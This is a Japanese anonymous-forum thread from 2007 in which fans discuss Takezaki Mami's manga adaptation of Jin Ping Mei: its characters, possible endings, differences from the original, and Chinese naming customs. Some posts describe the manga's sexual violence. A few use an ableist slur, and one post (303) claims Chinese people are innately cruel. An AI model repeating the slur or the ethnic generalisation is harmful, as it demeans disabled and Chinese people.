秋菊の回が旦那様のターニングポイントの一つかな。
ついでにこの回以降、好みの基準も大幅うpしてる感がある。
蘭香や恵蓮や呉オバはんにも食指を伸ばした男とは到底思えないほどだw

251 :花と名無しさん:2007/11/06(火) 20:20:24 ID:???0
何かの漫画でやってた劇だかオペラのセリフで
「スカートはいてる女を見たら 彼が考えるのは、ほら例のこと」
っていうのがあったけど、西門慶にも当てはまるな、これ。

252 :花と名無しさん:2007/11/06(火) 22:15:26 ID:???O
腹上死なんて末路はカッコ悪いけど、無事に老年まで生きたとしたら
伯を少しマヌケにしたような好色爺さんになるだけだろうね。
女好きがサマになる若さと美貌を保ってるうちに死ぬほうがマシかもしれないな。

253 :花と名無しさん:2007/11/06(火) 22:16:50 ID:???O
うーん、ここじゃフルボッコだけど武松と金蓮姐さんの関係って萌えると思うんだけどな。
まあ、武松を単品で好きかと言われたら悩むがw

うんかは冷静な視点で考えれば可哀相な子だけどどうも好きになれないが
上で共依存と言われてたので何となく理由分かったよ。

254 :花と名無しさん:2007/11/06(火) 22:45:14 ID:???O
私も武松×金連には萌えたよ
ただ武松は話中、唯一の正義漢だから金連とくっついて欲しくはない
あれで死んだのかな?もう出ないのかな…

255 :花と名無しさん:2007/11/06(火) 23:02:03 ID:???0
うん、私も萌える
ラストは金蓮は死んだとみせかけて
武松と隠れ住んでほしい

256 :花と名無しさん:2007/11/06(火) 23:51:13 ID:???0
流れを読まずにカキコ
てっきり陳経済キター!!とか祭りになってると思ったんだが。

257 :花と名無しさん:2007/11/06(火) 23:52:05 ID:???O
結ばれないから萌えるのよ

258 :花と名無しさん:2007/11/07(水) 01:03:30 ID:???0
陳兄さん思ったよりイケメンで結構好みだ。
まあ性格とかは今後の展開次第だけど、原作とか他の作家のより頭良さそうな
感じも結構気に入った。

武松は、どっこい生きてるから怖い、って展開になりそうだなー。
マンガで真っ直ぐ滝つぼに落ちたキャラは生きてるのがお約束だし。

259 :花と名無しさん:2007/11/07(水) 02:59:52 ID:???0
  滝壺に落ちた
     ↓
 どこかの田舎娘に懐抱される
     ↓
記憶喪失とかになって、復讐を忘れて幸せに暮らしている
     ↓
  何かの弾みで取り戻す
     ↓
 金連、頃す!頃す!頃す!
     ↓
ウンカを【ついでに】思い出し、ちょっと悩む
     ↓
ウンカと再会して、無事本懐を遂げるが
どちらの女性を選ぶか、悩む。
                     ‥‥ってダメ?

260 :花と名無しさん:2007/11/07(水) 07:37:10 ID:???0
それじゃ、この前の都合の良い二股男とかぶるな。
で、女二人に見捨てられるか殺される。

261 :花と名無しさん:2007/11/07(水) 12:40:34 ID:???0
キンペの中でまともな男
武大
肉屋ごっこで娘を失なった父親


262 :花と名無しさん:2007/11/07(水) 12:54:37 ID:???O
厄介袋の回の年増妓女の旦那も

263 :花と名無しさん:2007/11/07(水) 13:11:23 ID:???O
ピザ女中蘭香を田舎で待ってた男も

264 :花と名無しさん:2007/11/07(水) 17:28:42 ID:???O
そうかんがえると武大は(容姿はともかく)至極まともな男だよね…


265 :花と名無しさん:2007/11/07(水) 19:20:22 ID:???O
大旦那様にクリソツじいさんも忘れないでください

266 :花と名無しさん:2007/11/07(水) 19:58:47 ID:???O
春画の爺さんとお仲間は?
女好きだけど蔑視ではなくむしろリスペクトに根ざしていると思う

267 :花と名無しさん:2007/11/07(水) 20:03:42 ID:???0
エロじいさん三人組の回は和むw

個人的にはあの大旦那様そっくりさんと旦那様を会わせてみたい

268 :花と名無しさん:2007/11/07(水) 20:49:09 ID:???0
鬼畜な奥様とグルになって金蓮に嫌な結婚無理強いした武大はまともどころか只の糞野郎
殺されて当然だな。

269 :花と名無しさん:2007/11/07(水) 21:14:26 ID:???O
え?
よく↑の意見みかけるけど、原典では武大って
例の奥さんと共謀して金蓮を娶ったの?
主人が下男に女を世話してやるなんて(そして女には拒否権ない)
当時からすればごく一般的な事と思ってたけど

270 :花と名無しさん:2007/11/07(水) 21:54:18 ID:???0
259バージョンで、ウンカがどこぞの田舎息子に快方されてほしい

271 :花と名無しさん:2007/11/07(水) 22:16:08 ID:???O
>>270
自分もソレきぼん
嫌な記憶はサッパリ忘れ、出直す事が一番幸せで後味良い道だな
むろん武松の事など頭の片隅にも思い出さない

272 :花と名無しさん:2007/11/07(水) 23:45:27 ID:???0
ウンカもなぁ…健気だけど
「実はひっそり生きていて、幸せな生活を送った」というエンディングは
>>255に一票を投じて「武松と(旦那様亡き後の)金蓮」であって欲しい。
西門家を出ることによって、煩悩をそぎ落とした金蓮と恩讐を超えて結ばれる武松。
「好色一代女」のHappyEnd版みたいな奴。

273 :花と名無しさん:2007/11/08(木) 00:30:04 ID:???O
仇討ちにあれだけ周囲(ウンカやら投げ捨てられた夫婦やら)に
甚大な迷惑をふりまいておいて、結局その仇とハッピーエンドを
やらかした日には、武松もいよいよ救いようのないアホ男と思うが……

274 :花と名無しさん:2007/11/08(木) 00:54:25 ID:???O
武松のような男は仮に金蓮への恋心を自覚したとしても
じゃああっさりそうなれるかっつったら無理でしょうな。
金蓮殺して自分も自害or死地を求めて戦場へ…ってなりそう。

275 :花と名無しさん:2007/11/08(木) 00:56:17 ID:???0
1巻をようやく買って拝読。
キャラがみんなどす黒くてどす黒くて、なるほど他の姉さん達も丸くなったものよ。
まあ竹崎さんもあのテンションで描いていたらしんどいから。
それと初期の瓶児は、このスレの最初の方の書込にもあるけど、なかなか可愛いねえ。
金蓮とちゃんと仲良くなろうと努力しているじゃないか、と思ってしまった。


エンディングだけど原典に忠実になりそうな予感。
なんだかんだ言って『金瓶梅』だし。

276 :花と名無しさん:2007/11/08(木) 01:58:45 ID:???0
ウンカは何となく武松絡みで
非業の死を遂げる気がする。
秋菊も旦那様絡みでその可能性が高い。
どちらも絵的にグロテスクな最期ではないと思うが。

武松も金蓮やウンカに限らず
女性と穏やかな幸福に生きる展開はありえないだろうな。

それより原典で旦那様の死後、
月娘奥様が別の男から犯されかかるエピソードが
竹崎版に反映されるか気になる。

277 :花と名無しさん:2007/11/08(木) 02:30:05 ID:???0
>>269
同意。

金蓮との結婚については
武大も出入りする主家の指示に従っただけで
主体的な選択ではないと思う。

ただ、武大は「美人嫁をもらえてラッキー」
金蓮は「醜くて愚鈍な男が夫なんて最悪」
という事後の食い違いが生じた。

そもそも、策謀で金蓮を手に入れようとするほどの
野心なり悪知恵なりが武大にあれば
逆にああいう結果にはならなかったと思う。

金蓮が武大を愛せなかったのは
彼の容貌が醜いせいもあるけれど
才覚や覇気に乏しい内面のせいもある。

278 :花と名無しさん:2007/11/08(木) 06:19:20 ID:???0
金連が、最初に小女していた張家で
「奥様の目を気にすることなく逢い引きするには
 馬鹿な男の妻になって、そこで誰に気兼ねすることなく
 楽しめばいい」
と、提案して武大と結婚したのは、わたなべ版だけ?
張旦那が腹上死して、男無しではいられなくなって、初めて武大とやった。
と言う笑える展開だった。

近所に新しい本屋が出来た。そしてキンペが置いてあったのを確認して
もう一回行ってみたら  売 り 切 れ  OTL
既に置いてあるコミックを
「これ下さい」
は出来るけれど
「中国発祥のエロ文学の注文をお願いします。」
いくら、自分はエロだけじゃない(らしい)と言う意識は持っても
恥ずかしくて言えないヘタレです。情報お願いします。

279 :花と名無しさん:2007/11/08(木) 08:35:03 ID:???O
本屋でバイトした事あるけど、いちいち誰が何買ったかなんて
気にもしなけりゃ覚えてもないよ。
自意識過剰になってこそこそしてる方がよほど目立つw
まあ、それでも嫌ならネットで買えば?

280 :花と名無しさん:2007/11/08(木) 08:42:24 ID:???0
>>278
普通に
「竹崎真実さんが描いた漫画で『金瓶梅』て本を注文したいんですが」
とだけ言えばいい。

漫画の内容なんて店員さん自身が読者でもなければ
いちいち把握しなければ気にも留めないと思われる。

281 :花と名無しさん:2007/11/08(木) 09:56:04 ID:???0
278さんじゃないんだが、
本の内容とタイトルは別にいいんだが、あそこの童話シリーズは
すぐ見える帯のあおりの文が下品すぎてレジに出しにくい…。

282 :花と名無しさん:2007/11/08(木) 10:19:56 ID:???O
ぶんかの煽り文の下品さはレディコミの中でも群を抜いてるよな


283 :花と名無しさん:2007/11/08(木) 10:35:56 ID:???O
レイプ!毒殺!獣姦!呪詛!とかね。

284 :花と名無しさん:2007/11/08(木) 18:25:27 ID:???0
>>269
原典では、ほぼ>>277が書いた通り。
武大は単なる「いい人」で、金蓮はそれが気に入らなくて浮気しまくってた。
どうも原典の世界は「ちょいワル=イイ男(女)」という価値観のもとに書かれてるみたい。
原典旦那様も原典陳兄さんも「ちょいワル」って感じだし。
旦那様が手を出す相手もみんな、そんな感じ。

285 :花と名無しさん:2007/11/08(木) 18:49:05 ID:???0
>>275
1巻は今思うと結構原典準拠なんだよね。
「金・梅・瓶」が揃いましたのあたりまでが特に。

286 :花と名無しさん:2007/11/08(木) 19:10:29 ID:???0
>>263
もし蘭香が男キャラで、恋人の女性を故郷に置いてきて
「都会でもっと素敵な女性と!」→美女とアンアン→痛い目にあう→村に帰って恋人の元に… のパターンだったら
村に帰ってきた時には、絶対に泣き面に蜂な展開が待ってそうな気がしたw

何となく、旦那様以外の男キャラにはそういうことは容赦がなさそうなイメージ


287 :花と名無しさん:2007/11/08(木) 19:25:28 ID:???0
>>286
ちょっとケースは異なるけれど
雪娥を騙そうとした若い料理人はそのパターンだね。

蘭香の場合は世間知らずの無邪気なおバカさんだったけれど
安民はすれっからしの悪賢い男だったから
そういう結末になったのだろうけど。

あと、女性が男性を捨てる場合と
男性が女性を捨てる場合では
当時の男尊女卑社会を鑑みると
後者の方が捨てられる側のダメージが段違いに重かったはず。

男子が生まれたら一家を挙げて祝うけれど
女子が生まれたら一家総出で先祖に謝罪する国だからね。

288 :花と名無しさん:2007/11/08(木) 19:35:19 ID:???0
というか、蘭香は旦那様とセックスして
その限りではいい思いをしたけれど

その他は…

馬の小便入りのお茶を飲ませられるわ
手に煮立った油をぶっ掛けられるわ
信頼していた下男たちからレイプされるわ
(快感はなく心身ともにひたすら苦痛な性経験)で

本人の落ち度以上に過酷な受難続きだったわけだから
田舎の恋人くらいは優しくしてくれなくちゃ
読者も救われないよ。

289 :花と名無しさん:2007/11/08(木) 19:42:42 ID:???0
あれ熱湯だと思ってたんだが…
油だったら手が凄いことになってそうだ

290 :花と名無しさん:2007/11/08(木) 20:15:06 ID:???0
蘭香の話も美女vsブス特集に載っけてたヤツなんだよね。
かなり初期のネタだから、まだ瓶児も出てないし寵愛薄かった秋菊も出番なし。
でも他がみんな
「美女とブス、どっちかは聡明で性格もいい」
設定の話が多い中、美女で狡猾とブスでトロいの組合せが際立ってたのは確かだった。
まあ今もそうだよね金瓶梅は。
金蓮が単純に優等生的美女じゃないから面白い。

291 :花と名無しさん:2007/11/08(木) 20:31:08 ID:???0
金蓮と武松のカップリングは正直ピンとこないというか
あいつらそもそも本来カップリング要素ゼロなのに
なんでそういうことになったんだ?と不思議
あらいい男じゃない→義姉さん、あんたってひとは!→あたしをふるなんて、ふん!
だけの関係だったに過ぎないわけで
なんで武松のこと好きになったのか、初対面からそうなるまでに恋愛描写ゼロだったからさ
旦那様と仲良くやってて武松が復讐しにこなければ思い出しもしてないのに
なんで惹かれたのかというきちんとして筋書きがあればよかったんだけど
それが完全にゼロだからね。竹崎さんは上手い作家だと思うけど
そういうもの書かずに無理やり強引なことしちゃって
最初は復讐と返り討ちの憎悪だけの関係にしようとしてたとしか思えない。
そのまま憎悪一本だけで通せばいいのに、
変な要素を無理やりねじ込んだせいで破綻してるよ
金蓮と武松の愛憎関係だけは完全に失敗したとしか思えない。


292 :花と名無しさん:2007/11/08(木) 20:36:00 ID:???0
反対に旦那様と金蓮の関係は、最初は旦那様の顔と女のあしらい方の上手さと経済力にひかれて
単なる色事だけの関係って感じだったけど。
(作中では)数年間の間に、いろいろあって、梅毒疑惑事件とかを乗り越えて
夫婦の情が芽生えて今では本当に愛してるってのがよくわかる。
こちらは時間かけただけあって上手に描写されててよかった。

293 :花と名無しさん:2007/11/08(木) 22:39:24 ID:???0
>>290
秋菊も蘭香の話に一応出てるよ。

蘭香に豚の小便入りのお茶を飲ませる時に
春梅と秋菊で両脇を押さえている。
あの回に登場する西門家の人々は全員、陰険な形象でしか登場しない。

蘭香の男版で
随喜の回に登場した岩峯(大旦那様に操られた挙句非業の死)が浮かんだけれど
この男は田舎でも女性から相手にされてなかった感じがする
(『愚鈍』というより軽い池沼の匂いがする)。

294 :花と名無しさん:2007/11/08(木) 22:52:39 ID:???O
長文乙

295 :花と名無しさん:2007/11/09(金) 00:27:58 ID:???0
>>293
実際いるから始末に終えないよね、ああいう池沼。

池沼っつったら、歌がすごく上手な女の子が出てくる回で、その子を遊びで
殺すクソガキが登場したけど、あの辺も実在の事件でも元にしたんじゃまいか
って位、心理的にも臨場感があったなと。
時々時事ネタをアレンジしたかな?って話もあるよね。

296 :花と名無しさん:2007/11/09(金) 00:52:00 ID:???0
『金瓶梅』なのに梅の出番って少ないね

297 :花と名無しさん:2007/11/09(金) 01:02:05 ID:???0
>>295
「この年になって蝶を追いかける童子の様な男」
と大旦那様が言っているから軽い知的障害があるんでしょうね。>岩峯
顔も心なしかダウン症気味に見える。

大旦那様がどこからあの男を拾ってきたのか疑問だ。

>>296
陳経済が出てきたから春梅の出番も増えるかも。
原典でも春梅の出番てタイトルに反して少ないんだけどね。
これは研究書でも指摘されている。

298 :花と名無しさん:2007/11/09(金) 09:18:27 ID:???0
蘭香の手を火傷させたのは、水も油もない鉄板(鍋?)だと思っていた。
何かを鍋に入れたように見えなかったからね。
野口英世みたいに、一生かかっても治らない怪我になるのかな?
なんてマジで心配したよ。 でも火傷の痛さは考えただけで吐き気がする。

299 :花と名無しさん:2007/11/09(金) 09:20:44 ID:???0
>>295
グリムの「子供達が屠殺ごっこした話」だよ。

300 :花と名無しさん:2007/11/09(金) 12:40:17 ID:???O
>>298
金蓮が何かを煮立ててたんじゃないの?
私も油かと思ってたけどお湯の可能性もあるかな。
それならまだ救われるしあっさり治ってたのも分かる。
天人果に収録されていた話で昔煮えたぎった油をかけられた女性が出てきたけど
中国ではよくあることかと思ってたw

301 :花と名無しさん:2007/11/09(金) 13:12:25 ID:???0
煮立った水だって掛けられた瞬間は
十分熱いし痛いだろうからね。

油だったらケロイドが残るとか
その後指を動かすにも障害が出てくるとかそんな事態になる。

302 :花と名無しさん:2007/11/09(金) 14:55:05 ID:???0
このスレ見てみたら
月娘様が他の男性に犯される
イケメン新キャラが最終的には男娼になる
大好きな春梅が実は(これから?)悪魔のような子になってしまう
という原典の内容が・・・。
中国人は凄い発想をするもんだなぁ。
竹崎さんのアレンジというか解釈でこれが
どうなるかホント楽しみ。

303 :花と名無しさん:2007/11/09(金) 18:36:28 ID:???O
中国の歴史関連読んでもやっぱり発想から違うっつーか
違う民族どころか違う人種なんじゃないかと思う事がしばしば。
日本は日本で残虐な刑罰や拷問はあるけど中国は私情とか私怨でそれを行い
しかも方法がぶっ飛んでるからさ。

304 :花と名無しさん:2007/11/09(金) 20:13:59 ID:???0
>>302
月娘奥様の件は飽くまでレイプ未遂です。
犯されかかったところを助けられるて展開になる。

305 :花と名無しさん:2007/11/09(金) 20:35:21 ID:???0
大奥様レイプ未遂って大旦那の下男に屋敷の中で押し倒されたアレのこと?
あれは助けられるまでもなく大奥様が自力で下男に勝って貞操守ってたけど
それとは別に原典ではまだ未遂事件あるってこと?

306 :花と名無しさん:2007/11/09(金) 21:59:01 ID:???0
>>305
旦那様亡き後、未亡人となった大奥様が
仏事のために寺を訪れる行き帰りで
好色な男から襲われ、危うい所を助かる、て話が原典にあります。


307 :花と名無しさん:2007/11/09(金) 23:41:06 ID:???0
その他、西門慶が世話してやった男が「月娘は下男をくわえ込んでる」
という言いがかりを、西門家で泥棒して逃げた元下男に証言させたおかげで
法廷に訴えられたりもしている。
そのせいで春梅に頭を下げて助けて貰う屈辱的な目にもあってる。
月娘奥さん、辛い人生だな…

308 :花と名無しさん:2007/11/10(土) 00:54:24 ID:???0
今の春梅がどす黒くなるとは想像もつかない・・・。
秋菊が裏切ってどす黒くなるというパターンを希望。

しかし1巻でも秋菊は、
3Pシーンを思わず雪娥姉さんにちくったり
なかなか微妙な活躍をしているが

309 :花と名無しさん:2007/11/10(土) 01:12:06 ID:???0
>>308
「他人の評判を下げようと図ってちくる」て意識は
秋菊の中にないと思うが。

辛い時に優しくしてくれる相手を信頼し
素直に話したら雪娥に悪用されてしまったという落ち。

「ちょっと考えれば当てこすりのネタに
されそうなことくらい予想できるだろ」
との突っ込みは当然できるけどそこは幼さということで。

310 :花と名無しさん:2007/11/10(土) 01:13:20 ID:???O
でも自覚的に金蓮達を陥れようとした訳じゃないからね>ちくり
「奥様が旦那様を裏切ったら許しませんから」の台詞を伏線とするなら
陳経済との浮気を秋菊が知ってしまい、自覚的にか誰かに利用されてかで
金蓮を窮地に追いやってしまう…というのはありそう。
それで春梅が秋菊に裏切られたと思い、怒りと絶望で黒化とか。

しかし竹崎版春梅は本当に気立てのいい子なので黒化って瓶児寵愛勝ち取りより想像できんw

311 :花と名無しさん:2007/11/10(土) 01:36:23 ID:???0
気立てがいいというのに加えて
思考やメンタルが常に安定していて
ショックを受けても根本的な平衡を失わない感じなんだよね。

春梅の祖母が出てくるエピソードで
久しぶりに再会した祖母が自分を騙そうとしたと誤解し深く悲しむが
表面的には仕事もこなしており
いかにもなメンヘル反応は示さない。

初恋の男にものの見事に裏切られた秋菊の反応と比べると
事件の性格は全く違うけれど
メンタルの強度が段違いに強いということがよくわかる。

例えば、春梅が秋菊と同じ被害に遭ったとしても
秋菊ほど生活に支障を来たす症状には至らないと思われる。

312 :花と名無しさん:2007/11/10(土) 01:48:23 ID:???O
原典のエピソードをまんま使うかは分からないけど
他の奥様方が金蓮を窮地に陥れるような事をするなら
金蓮様の仇!と復讐みたいな事はするんじゃないかな。
メンタル安定はその通りなんだけど、あまりに金蓮が悲惨な目にあったらヤンデレ化はあるかも。

313 :花と名無しさん:2007/11/10(土) 10:13:20 ID:???0
>>307
酷い話だ。大奥様にそんなことしやがった下男と襲った男は万死に値するな
旦那様に世話になっておきながら。まさに恩を仇で返すってやつだね

314 :花と名無しさん:2007/11/10(土) 12:52:21 ID:???0
そんなこと言ったらさっさと旦那様あぼーん後の嬌児姐さんは
やりて婆とぐるになって財産や下女まで奪い取って行こうとしてるお…。


315 :花と名無しさん:2007/11/10(土) 13:20:46 ID:???0
>>311
秋菊の事件は・・・
秋菊が自分で歩いて金蓮の部屋まで戻って来れただけでも奇跡だと思うが。
引きこもるどころか、その場で発狂してもおかしくない事されてんだし。

316 :花と名無しさん:2007/11/10(土) 14:44:13 ID:???0
拷問器具で内側裂かれて処女奪われたんだしな…
肉体的にもそう簡単に復帰できる状態じゃないだろうし

317 :花と名無しさん:2007/11/10(土) 15:06:59 ID:???O
改めて文章にすると恐ろしいな((((´・ω・`))))

318 :花と名無しさん:2007/11/10(土) 15:55:01 ID:???0
精神+肉体的超ダメージを食らって
あれで済んだと考えたら相当強いと思うな…秋菊

319 :花と名無しさん:2007/11/10(土) 17:08:06 ID:???O
あれ下手すりゃ命落としかねないんじゃまいか>梨
昔の本誌の拷問特集でやってたよね…

320 :花と名無しさん:2007/11/10(土) 17:23:33 ID:???0
あれで秋菊は今後子供とか産めるのだろうか

321 :花と名無しさん:2007/11/10(土) 18:00:45 ID:???0
あの梨は本誌の魔女裁判ネタ(藤田素子とあと誰か)でも出ていたな。

322 :花と名無しさん:2007/11/10(土) 19:25:34 ID:???0
>>319
拷問器具のはさらにとげが出るとかになってたから一応改造はしてあったと思いたい
それでも初めてにはひどすぎるけど

323 :花と名無しさん:2007/11/10(土) 23:54:48 ID:???0
>>315
確かにあの凶器を未経験の局部に押し込まれると
想像するとガクブルですね。

でも、あの場面の秋菊は
本当に実質的な意味での強姦被害に遭った
(露骨な表現をすると器具だけでなく嗜虐秀才の局部も挿入された)のでしょうか?

器具の挿入だけで
本当の意味でのセックスはしていないのではないかと思っていました。
あの嗜虐秀才のメンタリティだと
勃起はしても女体に直接挿入はしない(できない)様な気がします。

だとしても秋菊が甚大なダメージを受けた事実に変わりはないですが。

324 :花と名無しさん:2007/11/10(土) 23:57:36 ID:???0
梨はこれで初めて見たけれど、処女でなくても痛いと思うし、されたら人生が
狂いそうだ。こんな物で女が喜ぶと妄想したヴォケが「悦梨」命名のか?
(これだから男なんて・・・と言いたくなった。)
自分なりに時間かけて立ち直った秋菊は、頑張ったと思う。

ついでにググってみたら、同じ漢字で「えり」ちゃんと命名された人が
多いらしい。知らないって怖いな。

325 :花と名無しさん:2007/11/11(日) 00:38:27 ID:???O
スレ違いだけどいわゆるDQNネームとはまた別に親の無知で変な名前つけられるケース増えてるみたい。
「聡子」のつもりで「恥子」にしちゃうとか。
戸籍係気付いてやれって気もするけどw

326 :花と名無しさん:2007/11/11(日) 00:50:45 ID:???0
>>324
大人の玩具に「悦梨」という名の商品があることを知ってる人なんて
そんなにいないと思いますが…。

327 :花と名無しさん:2007/11/11(日) 01:10:46 ID:???0
中国では物乞いのこと「花子」というそうだよw

ところで通称「花子」の応伯爵、竹崎版には出てこないのかな

328 :花と名無しさん:2007/11/11(日) 01:36:49 ID:???0
現代中国語でも「花」は「使う、用いる」を意味する動詞。

俳優の蔑称として「戯子」(和訳すれば『川原乞食』か)
という言葉があったから「子」を付けると
バカにするニュアンスになったのかもしれないですね。

329 :花と名無しさん:2007/11/11(日) 11:15:16 ID:???O
だとしたら花子虚の立場はw
それとも「いちどう・れい」「おおば・かおる」「みずた・まり」みたいに
その国の人には分かるあれなのかな?

330 :花と名無しさん:2007/11/11(日) 13:53:26 ID:???0
>>329
「虚」て字は日本人にとってもネガティヴな意味合いを持つから
「花子虚」が劇中で否定されている人物なのは明らかだけどね。

ちなみに武大は「武松の長兄(というだけの男)」てネーミング。

一般に、中国語では家庭内の序列で長男や長女に当たる人には
「大」を付け、二番目以降には普通の漢数字を付けて区別する。

例:清朝期の皇族・貴族の家庭で
長女は「大格格」、
次女以降は「二格格」「三格格」「四格格」…
と他称される。

331 :花と名無しさん:2007/11/11(日) 15:21:57 ID:???O
なるほど、サンクス!
そういえば旦那様の先妻の子だか妹だかは「大姐」だったよね。

332 :花と名無しさん:2007/11/11(日) 15:34:21 ID:???0
>>331
旦那様の先妻の子は「旦那様の長女」という意味で「大姐」
旦那様の妹は「大旦那様の長女」という意味で「大姐」
と呼ばれていると思われます。

ちなみに月娘奥様も「旦那様の正妻、第一夫人」という意味で「大姐」
この場合、嬌児が二姐、玉楼が三姐、雪娥が四姐、金連が五姐、瓶児が六姐。

333 :花と名無しさん:2007/11/11(日) 15:38:50 ID:???0
武松も原文だと「武二郎」と呼ばれている箇所があるしね。

これは「『武』家の次男坊」という意味。

334 :花と名無しさん:2007/11/11(日) 15:51:16 ID:???0
花子虚の兄で「花大舅」なる人物が出てくるが
これも花子虚の長兄で瓶児にとっては
「一番上の義兄(だった人物)」だから
「大舅」と呼ばれているのであって、彼の本名ではない。

335 :花と名無しさん:2007/11/11(日) 18:49:35 ID:???0
娘がすでに結婚してるってことは原典の旦那様は年取ってるってこと?
竹崎版の30歳前後の旦那様がイメージ定着してるから熟年の旦那様って想像つかないよ

336 :花と名無しさん:2007/11/11(日) 19:21:29 ID:???O
>>332
一巻で瓶児が金蓮に「五のお姉様と呼ばせて下さい」って言ってたね。

原典は分からないけど、竹崎版の旦那様の娘は彼の子じゃないよ。
当時でせいぜい15、6才ってところだから現在は29か30ほどかな。

337 :花と名無しさん:2007/11/11(日) 19:52:25 ID:???0
表向きには娘だけど、実際は腹違いの妹にあたるんだよな…>旦那様の娘

338 :花と名無しさん:2007/11/11(日) 22:33:42 ID:???0
金蓮って名前自体、美人の代名詞で本名じゃ無いしね。
生前本名で呼ぶ習慣が無かった地域だから、本名が出てくる方が稀なんだとおも。
日本の源氏物語も、せいぜい夕霧が本名かどうか位だよね。

339 :花と名無しさん:2007/11/11(日) 23:17:42 ID:???0
>>338
金連は一応本名でしょ?

原典を読むと
「藩金連は貧しい家の娘で幼くして女中として売られ、
同じ日に同じ主家の女中となったもう一人の少女と共に
それぞれ『金連』『玉蓮』と名づけられた」、と説明がある。

その後、
「同僚である玉蓮は早死にし、金連だけが生き残って主人の寵愛を受けた」
とのこと
(竹崎版の玉蓮は生き別れした母親だけれど
原典の玉蓮は単に同僚だった同年配の少女で
しかも名前だけで具体的な人格を持たない存在)。

売られる前の名前が本名だとすれば
金連は通称てことになるかもしれないけど
「藩金連」という名前は一応本名と捉えていいんでは。

340 :花と名無しさん:2007/11/11(日) 23:29:33 ID:???O
日本で言えば「麗子」「佳子」「美子」みたいなもんか?

341 :花と名無しさん:2007/11/11(日) 23:30:14 ID:???0
ちなみに月娘は確か
「中秋の名月の晩に生まれたので『月娘』」
瓶児は
「生まれた日に生家に金魚鉢が贈られてきたので『瓶児』と名づけられた」
との説明が原典にあった。

嬌児は恐らく育った妓楼で与えられた源氏名が
そのまま本名扱いになった例。

玉楼と雪娥の名前の由来は不明だけど
彼女らの名前も一応は本名として扱われるべき名前と思われる。

342 :花と名無しさん:2007/11/11(日) 23:42:02 ID:???0
>>340
多分そう>「麗子」「佳子」「美子」

「それじゃこの子は『麗子』で
その子は『佳子』にしましょう」という感覚で
主家から「金蓮」「玉蓮」と名づけられたと思しい。

「春梅」と「秋菊」の二人もこの要領で
同時に名づけられた可能性が高い
(あえて対照的なネーミングにするという作り手の意図もあるだろうが)。

名家のお嬢様やお坊ちゃまはともかく
女中や下男の名前は成長後に主人の考え一つで勝手に変えられ
その名前が本名としてその後は扱われるパターンが多かった。
漫画だと「恵蓮」のエピソードにそれが出てくる。

343 :花と名無しさん:2007/11/11(日) 23:44:00 ID:???0
今の日本と違って、よっぽどの身分のお嬢以外は
「産まれ持った名前」がない世界だからねぇ
幼名は愛称というか所詮呼び名だし…
日本古典の源氏物語然りだけど通り名が固定した=名前になっちゃう世界



344 :花と名無しさん:2007/11/11(日) 23:53:56 ID:???0
清代に書かれた「紅楼夢」でも
主人の裁量一つで女中や下男の呼び名が変わる、
あるいは女中や下男が主筋に気遣って変える描写がしょっちゅう出てくる。

主人公の宝玉に「紅児」と呼ばれる女中が新しく仕えるようになり
親戚筋の奥様と「紅児」の会話↓

「お前の名は?」
「『紅児』と呼ばれております」
「どうして『紅児』と呼ばれているの?」
「本名は『紅玉』ですが『玉』の字が
『宝玉』若様や『黛玉』お嬢様と被ってしまいますので
『紅児』ということになりました」

345 :花と名無しさん:2007/11/11(日) 23:59:50 ID:???0
てか、本名=忌み名扱いが昔の東洋のデフォじゃまいか?
今の日本でも一部にそういう風習が残ってると訊いた事はあるけど。
本名を悪霊や悪鬼に知られると、取り憑かれたり運が悪くなるとか言って。

金蓮って、三寸金蓮が当時の美女の代名詞だったから、纏足が完成してからの
その足の小ささや形の良さを称える意味合いもあっての呼び名として定着した
のでは無いかと推測するが。
実在の昔の女性で本名と判定可能となると、それこそ皇后や皇太后位か?

そもそも金瓶梅は、原作者自体存在もはっきり確定できない作品で・・・。
源氏物語の伝聞を、当時の明朝の民衆生活に合わせて、儒教の偏見も混ぜ込んで
漢民族の古典ペーストも加えて、かなり下賤に仕立てたら出来たのか?
みたいな感じもたまにするんだよなあ。故に案外日本人には読み易いとか???

346 :花と名無しさん:2007/11/12(月) 00:09:19 ID:???0
名前に対する感覚が日本と違う気もする>中国

「字(あざな)」みたいな本名とは別の名前をつける習慣が
近現代まで残ってたし(今も微妙にあるらしい)。

例えば蒋介石の本名は「蒋中正」で
「介石」は成人後に自分で付けた字。

347 :花と名無しさん:2007/11/12(月) 00:21:18 ID:???0
>>345
内容的に本名を出せなかったのだと思われる。>「金瓶梅」作者
識字率も低い当時の状況で
こうした物語を書いて出せるのは文人だけ
(主要な読者層になるのも士大夫層)。

それが本名を出してこんな本を書いたら
たちまち処罰の対象になる。

348 :花と名無しさん:2007/11/12(月) 01:50:14 ID:???0
関係ないけれど、歴史のテストで「蒋介石」と書くべき所を「石灰石」と書く香具師が
毎年必ず「複数いる」ろ先生が嘆かれていた。
ついでに、オペラのアイーダは何の開通のこけら落としに上演されたでしょうか?
の答えで「新幹線」「地下鉄」などある中で「娘の開通」にはワロタがw
しかも音大、声楽専攻の音楽史のテストでww

話、戻すけれど「劉邦」も「劉、兄貴」の意味と聞いたよ。農民の出だから
本名が解らずじまいなのかな?
あと、この間「阿部真莉亜」ちゃんと言う子供にあった。名前で遊ぶなよ>親

349 :花と名無しさん:2007/11/12(月) 02:22:34 ID:???0
>>348
司馬遼太郎の小説だから
どの程度事実か自信が無いけど
「劉邦の生まれた村は人口も少ない寒村だったので
名前をつける習慣が無く
逆に固有な名前を付けると白眼視さえされかねなかったので
劉邦にも姓だけで名前が無かった」とのこと。

「武二郎」(武のうちの次男坊)みたいな通称が定着した社会なら
確かに本名なんて不要だったかもね。

350 :花と名無しさん:2007/11/12(月) 11:24:19 ID:???O
>>348
楽しい学校だなw
森真理望さんはいたなぁ。上から読んでも下から読んでも…


351 :350:2007/11/12(月) 11:52:05 ID:???0
あ。漢字は勝手に変えたので違います
もう少し可愛い雰囲気の漢字でしたから
あまり気がつかれなかったとご本人が言ってました

352 :花と名無しさん:2007/11/12(月) 12:07:51 ID:???0
瓶児の命名だけが良く分からない。
特に美貌や可憐さを連想させる字面でもないし
「家に金魚鉢が送られてきたから『瓶児』」て。
表面からは分からない性愛的な暗喩でもあるのだろうか。

353 :花と名無しさん:2007/11/12(月) 12:35:56 ID:???0
江戸時代だと金魚=生理なんだけど
中国はどうなんだろう

354 :花と名無しさん:2007/11/12(月) 14:07:44 ID:???O
現代の感覚だと金魚鉢=水槽でも
当時では美しい工芸細工という感じだったとか?
深読みすれば性器とか性に関する意味もありそうだよね。

355 :花と名無しさん:2007/11/12(月) 15:14:05 ID:???0
